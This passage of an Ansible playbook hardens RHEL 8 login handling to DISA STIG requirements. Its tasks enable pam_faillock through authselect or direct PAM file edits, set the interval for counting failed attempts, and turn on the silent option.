    register: result_accounts_passwords_pam_faillock_dir_restorecon
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    - '&quot;faillog_t&quot; not in faillock_selinux_context.stdout'
    tags:
    - DISA-STIG-RHEL-08-020016
    - DISA-STIG-RHEL-08-020017
    - NIST-800-53-AC-7(a)
    - NIST-800-53-AC-7(b)
    - NIST-800-53-AC-7.1(ii)
    - accounts_passwords_pam_faillock_dir
    - configure_strategy
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed

  - name: Set Interval For Counting Failed Password Attempts - Check if system relies
      on authselect tool
    ansible.builtin.stat:
      path: /usr/bin/authselect
    register: result_authselect_present
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-020012
    - DISA-STIG-RHEL-08-020013
    - NIST-800-53-AC-7(a)
    - NIST-800-53-CM-6(a)
    - accounts_passwords_pam_faillock_interval
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Set Interval For Counting Failed Password Attempts - Remediation where authselect
      tool is present
    block:

    - name: Set Interval For Counting Failed Password Attempts - Check integrity of
        authselect current profile
      ansible.builtin.command:
        cmd: authselect check
      register: result_authselect_check_cmd
      changed_when: false
      check_mode: false
      failed_when: false

    - name: Set Interval For Counting Failed Password Attempts - Informative message
        based on the authselect integrity check result
      ansible.builtin.assert:
        that:
        - ansible_check_mode or result_authselect_check_cmd.rc == 0
        fail_msg:
        - authselect integrity check failed. Remediation aborted!
        - This remediation could not be applied because an authselect profile was
          not selected or the selected profile is not intact.
        - It is not recommended to manually edit the PAM files when authselect tool
          is available.
        - In cases where the default authselect profile does not cover a specific
          demand, a custom authselect profile is recommended.
        success_msg:
        - authselect integrity check passed

    - name: Set Interval For Counting Failed Password Attempts - Get authselect current
        features
      ansible.builtin.shell:
        cmd: authselect current | tail -n+3 | awk '{ print $2 }'
      register: result_authselect_features
      changed_when: false
      check_mode: false
      when:
      - result_authselect_check_cmd is success

    - name: Set Interval For Counting Failed Password Attempts - Ensure &quot;with-faillock&quot;
        feature is enabled using authselect tool
      ansible.builtin.command:
        cmd: authselect enable-feature with-faillock
      register: result_authselect_enable_feature_cmd
      when:
      - result_authselect_check_cmd is success
      - result_authselect_features.stdout is not search(&quot;with-faillock&quot;)

    - name: Set Interval For Counting Failed Password Attempts - Ensure authselect
        changes are applied
      ansible.builtin.command:
        cmd: authselect apply-changes -b
      when:
      - result_authselect_enable_feature_cmd is not skipped
      - result_authselect_enable_feature_cmd is success
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    - result_authselect_present.stat.exists
    tags:
    - DISA-STIG-RHEL-08-020012
    - DISA-STIG-RHEL-08-020013
    - NIST-800-53-AC-7(a)
    - NIST-800-53-CM-6(a)
    - accounts_passwords_pam_faillock_interval
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Set Interval For Counting Failed Password Attempts - Remediation where authselect
      tool is not present
    block:

    - name: Set Interval For Counting Failed Password Attempts - Check if pam_faillock.so
        is already enabled
      ansible.builtin.lineinfile:
        path: /etc/pam.d/system-auth
        regexp: .*auth.*pam_faillock\.so (preauth|authfail)
        state: absent
      check_mode: true
      changed_when: false
      register: result_pam_faillock_is_enabled

    - name: Set Interval For Counting Failed Password Attempts - Enable pam_faillock.so
        preauth editing PAM files
      ansible.builtin.lineinfile:
        path: '{{ item }}'
        line: auth        required      pam_faillock.so preauth
        insertbefore: ^auth.*sufficient.*pam_unix\.so.*
        state: present
      loop:
      - /etc/pam.d/system-auth
      - /etc/pam.d/password-auth
      when:
      - result_pam_faillock_is_enabled.found == 0

    - name: Set Interval For Counting Failed Password Attempts - Enable pam_faillock.so
        authfail editing PAM files
      ansible.builtin.lineinfile:
        path: '{{ item }}'
        line: auth        required      pam_faillock.so authfail
        insertbefore: ^auth.*required.*pam_deny\.so.*
        state: present
      loop:
      - /etc/pam.d/system-auth
      - /etc/pam.d/password-auth
      when:
      - result_pam_faillock_is_enabled.found == 0

    - name: Set Interval For Counting Failed Password Attempts - Enable pam_faillock.so
        account section editing PAM files
      ansible.builtin.lineinfile:
        path: '{{ item }}'
        line: account     required      pam_faillock.so
        insertbefore: ^account.*required.*pam_unix\.so.*
        state: present
      loop:
      - /etc/pam.d/system-auth
      - /etc/pam.d/password-auth
      when:
      - result_pam_faillock_is_enabled.found == 0
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    - not result_authselect_present.stat.exists
    tags:
    - DISA-STIG-RHEL-08-020012
    - DISA-STIG-RHEL-08-020013
    - NIST-800-53-AC-7(a)
    - NIST-800-53-CM-6(a)
    - accounts_passwords_pam_faillock_interval
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Set Interval For Counting Failed Password Attempts - Check the presence
      of /etc/security/faillock.conf file
    ansible.builtin.stat:
      path: /etc/security/faillock.conf
    register: result_faillock_conf_check
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-020012
    - DISA-STIG-RHEL-08-020013
    - NIST-800-53-AC-7(a)
    - NIST-800-53-CM-6(a)
    - accounts_passwords_pam_faillock_interval
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Set Interval For Counting Failed Password Attempts - Ensure the pam_faillock.so
      fail_interval parameter in /etc/security/faillock.conf
    ansible.builtin.lineinfile:
      path: /etc/security/faillock.conf
      regexp: ^\s*fail_interval\s*=
      line: fail_interval = {{ var_accounts_passwords_pam_faillock_fail_interval }}
      state: present
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    - result_faillock_conf_check.stat.exists
    tags:
    - DISA-STIG-RHEL-08-020012
    - DISA-STIG-RHEL-08-020013
    - NIST-800-53-AC-7(a)
    - NIST-800-53-CM-6(a)
    - accounts_passwords_pam_faillock_interval
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Set Interval For Counting Failed Password Attempts - Ensure the pam_faillock.so
      fail_interval parameter not in PAM files
    block:

    - name: Set Interval For Counting Failed Password Attempts - Check if /etc/pam.d/system-auth
        file is present
      ansible.builtin.stat:
        path: /etc/pam.d/system-auth
      register: result_pam_auth_file_present

    - name: Set Interval For Counting Failed Password Attempts - Check the proper
        remediation for the system
      block:

      - name: Set Interval For Counting Failed Password Attempts - Define the PAM
          file to be edited as a local fact
        ansible.builtin.set_fact:
          pam_file_path: /etc/pam.d/system-auth

      - name: Set Interval For Counting Failed Password Attempts - Check if system
          relies on authselect tool
        ansible.builtin.stat:
          path: /usr/bin/authselect
        register: result_authselect_present

      - name: Set Interval For Counting Failed Password Attempts - Ensure authselect
          custom profile is used if authselect is present
        block:

        - name: Set Interval For Counting Failed Password Attempts - Check integrity
            of authselect current profile
          ansible.builtin.command:
            cmd: authselect check
          register: result_authselect_check_cmd
          changed_when: false
          check_mode: false
          failed_when: false

        - name: Set Interval For Counting Failed Password Attempts - Informative message
            based on the authselect integrity check result
          ansible.builtin.assert:
            that:
            - ansible_check_mode or result_authselect_check_cmd.rc == 0
            fail_msg:
            - authselect integrity check failed. Remediation aborted!
            - This remediation could not be applied because an authselect profile
              was not selected or the selected profile is not intact.
            - It is not recommended to manually edit the PAM files when authselect
              tool is available.
            - In cases where the default authselect profile does not cover a specific
              demand, a custom authselect profile is recommended.
            success_msg:
            - authselect integrity check passed

        - name: Set Interval For Counting Failed Password Attempts - Get authselect
            current profile
          ansible.builtin.shell:
            cmd: authselect current -r | awk '{ print $1 }'
          register: result_authselect_profile
          changed_when: false
          when:
          - result_authselect_check_cmd is success

        - name: Set Interval For Counting Failed Password Attempts - Define the current
            authselect profile as a local fact
          ansible.builtin.set_fact:
            authselect_current_profile: '{{ result_authselect_profile.stdout }}'
            authselect_custom_profile: '{{ result_authselect_profile.stdout }}'
          when:
          - result_authselect_profile is not skipped
          - result_authselect_profile.stdout is match(&quot;custom/&quot;)

        - name: Set Interval For Counting Failed Password Attempts - Define the new
            authselect custom profile as a local fact
          ansible.builtin.set_fact:
            authselect_current_profile: '{{ result_authselect_profile.stdout }}'
            authselect_custom_profile: custom/hardening
          when:
          - result_authselect_profile is not skipped
          - result_authselect_profile.stdout is not match(&quot;custom/&quot;)

        - name: Set Interval For Counting Failed Password Attempts - Get authselect
            current features to also enable them in the custom profile
          ansible.builtin.shell:
            cmd: authselect current | tail -n+3 | awk '{ print $2 }'
          register: result_authselect_features
          changed_when: false
          check_mode: false
          when:
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)

        - name: Set Interval For Counting Failed Password Attempts - Check if any
            custom profile with the same name was already created
          ansible.builtin.stat:
            path: /etc/authselect/{{ authselect_custom_profile }}
          register: result_authselect_custom_profile_present
          changed_when: false
          when:
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)

        - name: Set Interval For Counting Failed Password Attempts - Create an authselect
            custom profile based on the current profile
          ansible.builtin.command:
            cmd: authselect create-profile hardening -b {{ authselect_current_profile
              }}
          when:
          - result_authselect_profile is not skipped
          - result_authselect_check_cmd is success
          - authselect_current_profile is not match(&quot;^(custom/|local)&quot;)
          - not result_authselect_custom_profile_present.stat.exists

        - name: Set Interval For Counting Failed Password Attempts - Create an authselect
            custom profile based on sssd profile
          ansible.builtin.command:
            cmd: authselect create-profile hardening -b sssd
          when:
          - result_authselect_profile is not skipped
          - result_authselect_check_cmd is success
          - authselect_current_profile is match(&quot;local&quot;)
          - not result_authselect_custom_profile_present.stat.exists

        - name: Set Interval For Counting Failed Password Attempts - Ensure authselect
            changes are applied
          ansible.builtin.command:
            cmd: authselect apply-changes -b --backup=before-hardening-custom-profile
          when:
          - result_authselect_check_cmd is success
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)
          - authselect_custom_profile is not match(authselect_current_profile)

        - name: Set Interval For Counting Failed Password Attempts - Ensure the authselect
            custom profile is selected
          ansible.builtin.command:
            cmd: authselect select {{ authselect_custom_profile }}
          register: result_pam_authselect_select_profile
          when:
          - result_authselect_check_cmd is success
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)
          - authselect_custom_profile is not match(authselect_current_profile)

        - name: Set Interval For Counting Failed Password Attempts - Restore the authselect
            features in the custom profile
          ansible.builtin.command:
            cmd: authselect enable-feature {{ item }}
          loop: '{{ result_authselect_features.stdout_lines }}'
          register: result_pam_authselect_restore_features
          when:
          - result_authselect_profile is not skipped
          - result_authselect_features is not skipped
          - result_pam_authselect_select_profile is not skipped

        - name: Set Interval For Counting Failed Password Attempts - Ensure authselect
            changes are applied
          ansible.builtin.command:
            cmd: authselect apply-changes -b --backup=after-hardening-custom-profile
          when:
          - result_authselect_check_cmd is success
          - result_authselect_profile is not skipped
          - result_pam_authselect_restore_features is not skipped

        - name: Set Interval For Counting Failed Password Attempts - Change the PAM
            file to be edited according to the custom authselect profile
          ansible.builtin.set_fact:
            pam_file_path: /etc/authselect/{{ authselect_custom_profile }}/{{ pam_file_path
              | basename }}
          when:
          - authselect_custom_profile is defined
        when:
        - result_authselect_present.stat.exists

      - name: Set Interval For Counting Failed Password Attempts - Define a fact for
          control already filtered in case filters are used
        ansible.builtin.set_fact:
          pam_module_control: ''

      - name: Set Interval For Counting Failed Password Attempts - Check if {{ pam_file_path
          }} file is present
        ansible.builtin.stat:
          path: '{{ pam_file_path }}'
        register: result_pam_file_present

      - name: Set Interval For Counting Failed Password Attempts - Ensure the &quot;fail_interval&quot;
          option from &quot;pam_faillock.so&quot; is not present in {{ pam_file_path }}
        ansible.builtin.replace:
          dest: '{{ pam_file_path }}'
          regexp: (.*auth.*pam_faillock.so.*)\bfail_interval\b=?[0-9a-zA-Z]*(.*)
          replace: \1\2
        register: result_pam_option_removal
        when:
        - result_pam_file_present.stat.exists

      - name: Set Interval For Counting Failed Password Attempts - Ensure authselect
          changes are applied
        ansible.builtin.command:
          cmd: authselect apply-changes -b
        when:
        - result_authselect_present.stat.exists
        - result_pam_option_removal is changed
      when:
      - result_pam_auth_file_present.stat.exists

    - name: Set Interval For Counting Failed Password Attempts - Check if /etc/pam.d/password-auth
        file is present
      ansible.builtin.stat:
        path: /etc/pam.d/password-auth
      register: result_pam_password_auth_file_present

    - name: Set Interval For Counting Failed Password Attempts - Check the proper
        remediation for the system
      block:

      - name: Set Interval For Counting Failed Password Attempts - Define the PAM
          file to be edited as a local fact
        ansible.builtin.set_fact:
          pam_file_path: /etc/pam.d/password-auth

      - name: Set Interval For Counting Failed Password Attempts - Check if system
          relies on authselect tool
        ansible.builtin.stat:
          path: /usr/bin/authselect
        register: result_authselect_present

      - name: Set Interval For Counting Failed Password Attempts - Ensure authselect
          custom profile is used if authselect is present
        block:

        - name: Set Interval For Counting Failed Password Attempts - Check integrity
            of authselect current profile
          ansible.builtin.command:
            cmd: authselect check
          register: result_authselect_check_cmd
          changed_when: false
          check_mode: false
          failed_when: false

        - name: Set Interval For Counting Failed Password Attempts - Informative message
            based on the authselect integrity check result
          ansible.builtin.assert:
            that:
            - ansible_check_mode or result_authselect_check_cmd.rc == 0
            fail_msg:
            - authselect integrity check failed. Remediation aborted!
            - This remediation could not be applied because an authselect profile
              was not selected or the selected profile is not intact.
            - It is not recommended to manually edit the PAM files when authselect
              tool is available.
            - In cases where the default authselect profile does not cover a specific
              demand, a custom authselect profile is recommended.
            success_msg:
            - authselect integrity check passed

        - name: Set Interval For Counting Failed Password Attempts - Get authselect
            current profile
          ansible.builtin.shell:
            cmd: authselect current -r | awk '{ print $1 }'
          register: result_authselect_profile
          changed_when: false
          when:
          - result_authselect_check_cmd is success

        - name: Set Interval For Counting Failed Password Attempts - Define the current
            authselect profile as a local fact
          ansible.builtin.set_fact:
            authselect_current_profile: '{{ result_authselect_profile.stdout }}'
            authselect_custom_profile: '{{ result_authselect_profile.stdout }}'
          when:
          - result_authselect_profile is not skipped
          - result_authselect_profile.stdout is match(&quot;custom/&quot;)

        - name: Set Interval For Counting Failed Password Attempts - Define the new
            authselect custom profile as a local fact
          ansible.builtin.set_fact:
            authselect_current_profile: '{{ result_authselect_profile.stdout }}'
            authselect_custom_profile: custom/hardening
          when:
          - result_authselect_profile is not skipped
          - result_authselect_profile.stdout is not match(&quot;custom/&quot;)

        - name: Set Interval For Counting Failed Password Attempts - Get authselect
            current features to also enable them in the custom profile
          ansible.builtin.shell:
            cmd: authselect current | tail -n+3 | awk '{ print $2 }'
          register: result_authselect_features
          changed_when: false
          check_mode: false
          when:
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)

        - name: Set Interval For Counting Failed Password Attempts - Check if any
            custom profile with the same name was already created
          ansible.builtin.stat:
            path: /etc/authselect/{{ authselect_custom_profile }}
          register: result_authselect_custom_profile_present
          changed_when: false
          when:
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)

        - name: Set Interval For Counting Failed Password Attempts - Create an authselect
            custom profile based on the current profile
          ansible.builtin.command:
            cmd: authselect create-profile hardening -b {{ authselect_current_profile
              }}
          when:
          - result_authselect_profile is not skipped
          - result_authselect_check_cmd is success
          - authselect_current_profile is not match(&quot;^(custom/|local)&quot;)
          - not result_authselect_custom_profile_present.stat.exists

        - name: Set Interval For Counting Failed Password Attempts - Create an authselect
            custom profile based on sssd profile
          ansible.builtin.command:
            cmd: authselect create-profile hardening -b sssd
          when:
          - result_authselect_profile is not skipped
          - result_authselect_check_cmd is success
          - authselect_current_profile is match(&quot;local&quot;)
          - not result_authselect_custom_profile_present.stat.exists

        - name: Set Interval For Counting Failed Password Attempts - Ensure authselect
            changes are applied
          ansible.builtin.command:
            cmd: authselect apply-changes -b --backup=before-hardening-custom-profile
          when:
          - result_authselect_check_cmd is success
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)
          - authselect_custom_profile is not match(authselect_current_profile)

        - name: Set Interval For Counting Failed Password Attempts - Ensure the authselect
            custom profile is selected
          ansible.builtin.command:
            cmd: authselect select {{ authselect_custom_profile }}
          register: result_pam_authselect_select_profile
          when:
          - result_authselect_check_cmd is success
          - result_authselect_profile is not skipped
          - authselect_current_profile is not match(&quot;custom/&quot;)
          - authselect_custom_profile is not match(authselect_current_profile)

        - name: Set Interval For Counting Failed Password Attempts - Restore the authselect
            features in the custom profile
          ansible.builtin.command:
            cmd: authselect enable-feature {{ item }}
          loop: '{{ result_authselect_features.stdout_lines }}'
          register: result_pam_authselect_restore_features
          when:
          - result_authselect_profile is not skipped
          - result_authselect_features is not skipped
          - result_pam_authselect_select_profile is not skipped

        - name: Set Interval For Counting Failed Password Attempts - Ensure authselect
            changes are applied
          ansible.builtin.command:
            cmd: authselect apply-changes -b --backup=after-hardening-custom-profile
          when:
          - result_authselect_check_cmd is success
          - result_authselect_profile is not skipped
          - result_pam_authselect_restore_features is not skipped

        - name: Set Interval For Counting Failed Password Attempts - Change the PAM
            file to be edited according to the custom authselect profile
          ansible.builtin.set_fact:
            pam_file_path: /etc/authselect/{{ authselect_custom_profile }}/{{ pam_file_path
              | basename }}
          when:
          - authselect_custom_profile is defined
        when:
        - result_authselect_present.stat.exists

      - name: Set Interval For Counting Failed Password Attempts - Define a fact for
          control already filtered in case filters are used
        ansible.builtin.set_fact:
          pam_module_control: ''

      - name: Set Interval For Counting Failed Password Attempts - Check if {{ pam_file_path
          }} file is present
        ansible.builtin.stat:
          path: '{{ pam_file_path }}'
        register: result_pam_file_present

      - name: Set Interval For Counting Failed Password Attempts - Ensure the &quot;fail_interval&quot;
          option from &quot;pam_faillock.so&quot; is not present in {{ pam_file_path }}
        ansible.builtin.replace:
          dest: '{{ pam_file_path }}'
          regexp: (.*auth.*pam_faillock.so.*)\bfail_interval\b=?[0-9a-zA-Z]*(.*)
          replace: \1\2
        register: result_pam_option_removal
        when:
        - result_pam_file_present.stat.exists

      - name: Set Interval For Counting Failed Password Attempts - Ensure authselect
          changes are applied
        ansible.builtin.command:
          cmd: authselect apply-changes -b
        when:
        - result_authselect_present.stat.exists
        - result_pam_option_removal is changed
      when:
      - result_pam_password_auth_file_present.stat.exists
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    - result_faillock_conf_check.stat.exists
    tags:
    - DISA-STIG-RHEL-08-020012
    - DISA-STIG-RHEL-08-020013
    - NIST-800-53-AC-7(a)
    - NIST-800-53-CM-6(a)
    - accounts_passwords_pam_faillock_interval
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Set Interval For Counting Failed Password Attempts - Ensure the pam_faillock.so
      fail_interval parameter in PAM files
    block:

    - name: Set Interval For Counting Failed Password Attempts - Check if pam_faillock.so
        fail_interval parameter is already enabled in pam files
      ansible.builtin.lineinfile:
        path: /etc/pam.d/system-auth
        regexp: .*auth.*pam_faillock\.so (preauth|authfail).*fail_interval
        state: absent
      check_mode: true
      changed_when: false
      register: result_pam_faillock_fail_interval_parameter_is_present

    - name: Set Interval For Counting Failed Password Attempts - Ensure the inclusion
        of pam_faillock.so preauth fail_interval parameter in auth section
      ansible.builtin.lineinfile:
        path: '{{ item }}'
        backrefs: true
        regexp: (^\s*auth\s+)([\w\[].*\b)(\s+pam_faillock.so preauth.*)
        line: \1required\3 fail_interval={{ var_accounts_passwords_pam_faillock_fail_interval
          }}
        state: present
      loop:
      - /etc/pam.d/system-auth
      - /etc/pam.d/password-auth
      when:
      - result_pam_faillock_fail_interval_parameter_is_present.found == 0

    - name: Set Interval For Counting Failed Password Attempts - Ensure the inclusion
        of pam_faillock.so authfail fail_interval parameter in auth section
      ansible.builtin.lineinfile:
        path: '{{ item }}'
        backrefs: true
        regexp: (^\s*auth\s+)([\w\[].*\b)(\s+pam_faillock.so authfail.*)
        line: \1required\3 fail_interval={{ var_accounts_passwords_pam_faillock_fail_interval
          }}
        state: present
      loop:
      - /etc/pam.d/system-auth
      - /etc/pam.d/password-auth
      when:
      - result_pam_faillock_fail_interval_parameter_is_present.found == 0

    - name: Set Interval For Counting Failed Password Attempts - Ensure the desired
        value for pam_faillock.so preauth fail_interval parameter in auth section
      ansible.builtin.lineinfile:
        path: '{{ item }}'
        backrefs: true
        regexp: (^\s*auth\s+)([\w\[].*\b)(\s+pam_faillock.so preauth.*)(fail_interval)=[0-9]+(.*)
        line: \1required\3\4={{ var_accounts_passwords_pam_faillock_fail_interval
          }}\5
        state: present
      loop:
      - /etc/pam.d/system-auth
      - /etc/pam.d/password-auth
      when:
      - result_pam_faillock_fail_interval_parameter_is_present.found &gt; 0

    - name: Set Interval For Counting Failed Password Attempts - Ensure the desired
        value for pam_faillock.so authfail fail_interval parameter in auth section
      ansible.builtin.lineinfile:
        path: '{{ item }}'
        backrefs: true
        regexp: (^\s*auth\s+)([\w\[].*\b)(\s+pam_faillock.so authfail.*)(fail_interval)=[0-9]+(.*)
        line: \1required\3\4={{ var_accounts_passwords_pam_faillock_fail_interval
          }}\5
        state: present
      loop:
      - /etc/pam.d/system-auth
      - /etc/pam.d/password-auth
      when:
      - result_pam_faillock_fail_interval_parameter_is_present.found &gt; 0
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    - not result_faillock_conf_check.stat.exists
    tags:
    - DISA-STIG-RHEL-08-020012
    - DISA-STIG-RHEL-08-020013
    - NIST-800-53-AC-7(a)
    - NIST-800-53-CM-6(a)
    - accounts_passwords_pam_faillock_interval
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur - Check
      if system relies on authselect tool
    ansible.builtin.stat:
      path: /usr/bin/authselect
    register: result_authselect_present
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-020018
    - DISA-STIG-RHEL-08-020019
    - accounts_passwords_pam_faillock_silent
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur - Remediation
      where authselect tool is present
    block:

    - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur - Check
        integrity of authselect current profile
      ansible.builtin.command:
        cmd: authselect check
      register: result_authselect_check_cmd
      changed_when: false
      check_mode: false
      failed_when: false

    - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur - Informative
        message based on the authselect integrity check result
      ansible.builtin.assert:
        that:
        - ansible_check_mode or result_authselect_check_cmd.rc == 0
        fail_msg:
        - authselect integrity check failed. Remediation aborted!
        - This remediation could not be applied because an authselect profile was
          not selected or the selected profile is not intact.
        - It is not recommended to manually edit the PAM files when authselect tool
          is available.
        - In cases where the default authselect profile does not cover a specific
          demand, a custom authselect profile is recommended.
        success_msg:
        - authselect integrity check passed

    - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur - Get
        authselect current features
      ansible.builtin.shell:
        cmd: authselect current | tail -n+3 | awk '{ print $2 }'
      register: result_authselect_features
      changed_when: false
      check_mode: false
      when:
      - result_authselect_check_cmd is success

    - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur - Ensure
        &quot;with-faillock&quot; feature is enabled using authselect tool
      ansible.builtin.command:
        cmd: authselect enable-feature with-faillock
      register: result_authselect_enable_feature_cmd
      when:
      - result_authselect_check_cmd is success
      - result_authselect_features.stdout is not search(&quot;with-faillock&quot;)

    - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur - Ensure
        authselect changes are applied
      ansible.builtin.command:
        cmd: authselect apply-changes -b
      when:
      - result_authselect_enable_feature_cmd is not skipped
      - result_authselect_enable_feature_cmd is success
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    - result_authselect_present.stat.exists
    tags:
    - DISA-STIG-RHEL-08-020018
    - DISA-STIG-RHEL-08-020019
    - accounts_passwords_pam_faillock_silent
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur - Remediation
      where authselect tool is not present
    block:

    - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur - Check
        if pam_faillock.so is already enabled
      ansible.builtin.lineinfile:
        path: /etc/pam.d/system-auth
        regexp: .*auth.*pam_faillock\.so (preauth|authfail)
        state: absent
      check_mode: true
      changed_when: false
      register: result_pam_faillock_is_enabled

    - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur - Enable
        pam_faillock.so preauth editing PAM files
      ansible.builtin.lineinfile:
        path: '{{ item }}'
        line: auth        required      pam_faillock.so preauth
        insertbefore: ^auth.*sufficient.*pam_unix\.so.*
        state: present
      loop:
      - /etc/pam.d/system-auth
      - /etc/pam.d/password-auth
      when:
      - result_pam_faillock_is_enabled.found == 0

    - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur - Enable
        pam_faillock.so authfail editing PAM files
      ansible.builtin.lineinfile:
        path: '{{ item }}'
        line: auth        required      pam_faillock.so authfail
        insertbefore: ^auth.*required.*pam_deny\.so.*
        state: present
      loop:
      - /etc/pam.d/system-auth
      - /etc/pam.d/password-auth
      when:
      - result_pam_faillock_is_enabled.found == 0

    - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur - Enable
        pam_faillock.so account section editing PAM files
      ansible.builtin.lineinfile:
        path: '{{ item }}'
        line: account     required      pam_faillock.so
        insertbefore: ^account.*required.*pam_unix\.so.*
        state: present
      loop:
      - /etc/pam.d/system-auth
      - /etc/pam.d/password-auth
      when:
      - result_pam_faillock_is_enabled.found == 0
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    - not result_authselect_present.stat.exists
    tags:
    - DISA-STIG-RHEL-08-020018
    - DISA-STIG-RHEL-08-020019
    - accounts_passwords_pam_faillock_silent
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur - Check
      the presence of /etc/security/faillock.conf file
    ansible.builtin.stat:
      path: /etc/security/faillock.conf
    register: result_faillock_conf_check
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-020018
    - DISA-STIG-RHEL-08-020019
    - accounts_passwords_pam_faillock_silent
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur - Ensure
      the pam_faillock.so silent parameter in /etc/security/faillock.conf
    ansible.builtin.lineinfile:
      path: /etc/security/faillock.conf
      regexp: ^\s*silent
      line: silent
      state: present
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;pam&quot; in ansible_facts.packages'
    - result_faillock_conf_check.stat.exists
    tags:
    - DISA-STIG-RHEL-08-020018
    - DISA-STIG-RHEL-08-020019
    - accounts_passwords_pam_faillock_silent
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur - Ensure
      the pam_faillock.so silent parameter not in PAM files
    block:

    - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur - Check
        if /etc/pam.d/system-auth file is present
      ansible.builtin.stat:
        path: /etc/pam.d/system-auth
      register: result_pam_auth_file_present

    - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur - Check
        the proper remediation for the system
      block:

      - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur -
          Define the PAM file to be edited as a local fact
        ansible.builtin.set_fact:
          pam_file_path: /etc/pam.d/system-auth

      - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur -
          Check if system relies on authselect tool
        ansible.builtin.stat:
          path: /usr/bin/authselect
        register: result_authselect_present

      - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur -
          Ensure authselect custom profile is used if authselect is present
        block:

        - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur
            - Check integrity of authselect current profile
          ansible.builtin.command:
            cmd: authselect check
          register: result_authselect_check_cmd
          changed_when: false
          check_mode: false
          failed_when: false

        - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur
            - Informative message based on the authselect integrity check result
          ansible.builtin.assert:
            that:
            - ansible_check_mode or result_authselect_check_cmd.rc == 0
            fail_msg:
            - authselect integrity check failed. Remediation aborted!
            - This remediation could not be applied because an authselect profile
              was not selected or the selected profile is not intact.
            - It is not recommended to manually edit the PAM files when authselect
              tool is available.
            - In cases where the default authselect profile does not cover a specific
              demand, a custom authselect profile is recommended.
            success_msg:
            - authselect integrity check passed

        - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur
            - Get authselect current profile
          ansible.builtin.shell:
            cmd: authselect current -r | awk '{ print $1 }'
          register: result_authselect_profile
          changed_when: false
          when:
          - result_authselect_check_cmd is success

        - name: Do Not Show System Messages When Unsuccessful Logon Attempts Occur
            - Define the current authselect profile as a local fact
          ansible.builtin.set_fact:
            authselect_current_profile: '{{ result_authselect_profile.stdout }}'
            authselect_custom_profile: '{{ result_authselect_profile.stdout }}'
          when:
          - result_authselect_profile is not skipped
